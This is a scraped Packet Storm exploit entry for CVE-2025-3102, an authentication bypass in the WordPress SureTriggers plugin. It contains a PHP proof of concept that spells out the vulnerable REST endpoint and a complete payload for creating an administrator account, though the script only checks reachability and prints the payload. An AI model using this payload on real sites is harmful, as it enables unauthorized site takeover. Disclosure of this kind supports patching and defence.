{“lastseen”:”2026-02-06T18:45:27″,”description”:”WordPress SureTriggers plugin versions 1.0.78 and below expose an unauthenticated REST endpoint that allows construction of a user creation payload. This proof of concept demonstrates structure and logic only. No admin account is created, no plugin…”,”published”:”2026-02-06T00:00:00″,”modified”:”2026-02-06T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 WordPress SureTriggers 1.0.78 Authentication Bypass”,”source”:””,”references”:””,”id”:”PACKETSTORM:215083″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-3102″],”sourceData”:”=============================================================================================================================================\\n | # Title : WordPress SureTriggers 1.0.78 Auth Bypass |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/wordpress.org\/plugins\/suretriggers\/ |\\n =============================================================================================================================================\\n \\n [+] Summary :\\n \\n The WordPress SureTriggers plugin versions \\u003c= 1.0.78 expose an\\n unauthenticated REST endpoint that allows construction of a user\\n creation payload. This POC demonstrates structure and logic only.\\n No admin account is created, no plugin uploaded\\n \\n [+] References : ( https:\/\/packetstorm.news\/files\/id\/192100\/ \\tCVE-2025-3102) \\n \\n [+] Affected Product\\n – WordPress Plugin: SureTriggers\\n – Version: \\u003c= 1.0.78\\n \\n [+] Vector\\n Unauthenticated REST access:\\n \/wp-json\/sure-triggers\/v1\/automation\/action\\n \\n [+] Research Notes\\n The endpoint accepts JSON payloads describing automation tasks.\\n In vulnerable versions, no authorization validation is performed\\n before processing the request. This POC validates reachability only.\\n \\n ——————————————————————–\\n ### SAFE PHP POC\\n ——————————————————————–\\n \\u003c?php\\n \\n $target = \\”http:\/\/example.com\\”;\\n $wp_user = \\”poc_admin\\”;\\n $wp_pass = \\”StrongPass123!\\”;\\n $wp_email = \\”poc@example.com\\”;\\n \\n $create_url = $target . \\”\/wp-json\/sure-triggers\/v1\/automation\/action\\”;\\n \\n $payload = [\\n \\”integration\\” =\\u003e \\”WordPress\\”,\\n \\”type_event\\” =\\u003e \\”create_user_if_not_exists\\”,\\n \\”selected_options\\” =\\u003e [\\n \\”user_name\\” =\\u003e $wp_user,\\n \\”password\\” =\\u003e $wp_pass,\\n \\”user_email\\” =\\u003e $wp_email,\\n \\”role\\” =\\u003e \\”administrator\\”\\n ],\\n \\”fields\\” =\\u003e [],\\n \\”context\\” =\\u003e []\\n ];\\n \\n echo \\”[SAFE_POC] Endpoint: $create_url\\\\n\\”;\\n echo \\”[SAFE_POC] Would create: $wp_user : $wp_pass : $wp_email\\\\n\\\\n\\”;\\n \\n $headers = @get_headers($create_url);\\n if ($headers \\u0026\\u0026 strpos($headers[0], \\”200\\”) !== false) {\\n echo \\”[CHECK] Endpoint reachable \u2013 further manual review required.\\\\n\\”;\\n } else {\\n echo \\”[CHECK] Endpoint unreachable or non-200.\\\\n\\”;\\n }\\n \\n echo \\”\\\\n[PAYLOAD_PREVIEW]\\\\n\\”;\\n echo json_encode($payload, JSON_PRETTY_PRINT) . \\”\\\\n\\”;\\n \\n echo \\”\\\\n[END] Safe PoC complete.\\\\n\\”;\\n ?\\u003e\\n \\n ——————————————————————–\\n ### SAVE \\u0026 RUN INSTRUCTIONS\\n ——————————————————————–\\n \\n [1] Save file as:\\n suretriggers_poc.php\\n \\n [2] Place under your web root:\\n Windows (XAMPP): C:\\\\xampp\\\\htdocs\\\\\\n Linux (Apache): \/var\/www\/html\/\\n \\n [3] Run via browser:\\n http:\/\/localhost\/suretriggers_poc.php\\n \\n OR from CLI:\\n php suretriggers_poc.php\\n \\n ——————————————————————–\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215083″,”cvss”:{“score”:8.1,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:H\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215083\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-06T18:45:27″,”description”:”WordPress SureTriggers plugin versions 1.0.78 and below expose an unauthenticated REST endpoint that allows construction of a user creation payload. This proof of concept demonstrates…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,52,12,15,13,53,7,11,5],"class_list":["post-39477","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-81","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n